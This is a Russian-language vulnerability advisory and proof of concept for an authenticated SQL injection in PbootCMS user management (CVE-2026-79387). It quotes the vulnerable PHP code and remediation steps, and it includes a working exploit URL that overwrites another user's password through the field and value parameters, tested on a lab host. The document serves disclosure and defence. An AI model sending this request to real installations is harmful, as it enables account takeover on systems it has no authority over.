
Доказательство концепции для CVE-2026-79387 — аутентифицированная SQL-инъекция в управлении пользователями PbootCMS, позволяющая произвольное обновление полей и захват учётной записи.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-79387 |
| Продукт | PbootCMS |
| Уязвимые версии | 3.2.0 – 3.2.5, и, возможно, более ранние |
| Тип уязвимости | SQL-инъекция (CWE-89) |
| Вектор атаки | Удалённый (аутентифицированный) |
| Уровень CVSS | Высокий |
| Обнаружил | JiahaoLi |
| Производитель | https://www.pbootcms.com/ |
В модуле управления пользователями PbootCMS V3.2.5 присутствует уязвимость SQL-инъекции. Уязвимость находится в методе mod() файла /apps/admin/controller/system/UserController.php (строка 149) и в методе modUser() файла /apps/admin/model/system/UserModel.php.
Параметр field полностью контролируется пользователем через GET-запрос без какой-либо проверки по белому списку. Параметр value также полностью контролируется пользователем и напрямую конкатенируется в SQL-выражение UPDATE. Аутентифицированный злоумышленник может указать в качестве field любой столбец базы данных (например, password, username, status, role), что позволяет производить произвольное изменение данных.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field и $value берутся напрямую из суперглобального массива $_GET и конкатенируются в строку SQL без санитизации, без белого списка и без параметризованного запроса. Затем эта строка передаётся в UserModel::modUser(), который перенаправляет её в базовый метод Model::update(). Поскольку аргумент является строкой (а не массивом), он обходит проверку имён полей checkKey() и вставляется дословно в предложение SET:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Аутентифицированный злоумышленник может:
ucode=10001).value допускает экранирование одинарной кавычкой, что потенциально позволяет атаки типа stacked или на основе тавтологии.Это приводит к захвату учётной записи и полному контролю над бэкендом CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Откройте панель управления PbootCMS и войдите с учётной записью admin по умолчанию.

Перейдите в System Management → User Management → Add User. Создайте нового пользователя:
admin2admin
Список пользователей подтверждает наличие admin2 с ucode=10002:

Откройте новое окно браузера. Попробуйте войти как admin2 с паролем 123456 — это не удаётся, поскольку фактический пароль — admin:

Используя уже авторизованный браузер администратора, перейдите по адресу:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291— это MD5-хеш от123456.
Метод mod() выполняет инъекцию и перенаправляет через location(-1):

Теперь попробуйте войти с admin2 / 123456:

Пароль был успешно изменён через SQL-инъекцию. Пользователь теперь вошёл с новым паролем, что подтверждает полный захват учётной записи.

Когда update() получает строковый аргумент, он используется как есть в предложении SET без какого-либо экранирования:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — разрешать только известные имена столбцов (status, username, realname, password).$value, чтобы предотвратить выход за пределы кавычек.field равен password, применять encrypt_string() к значению перед сохранением.mod() должна требовать действительный CSRF-токен и проверку авторизации на уровне роли.Раскрытие: об этой уязвимости было ответственно сообщено производителю. Если вы используете затронутую версию, немедленно обновитесь и проведите аудит всех учётных записей бэкенда.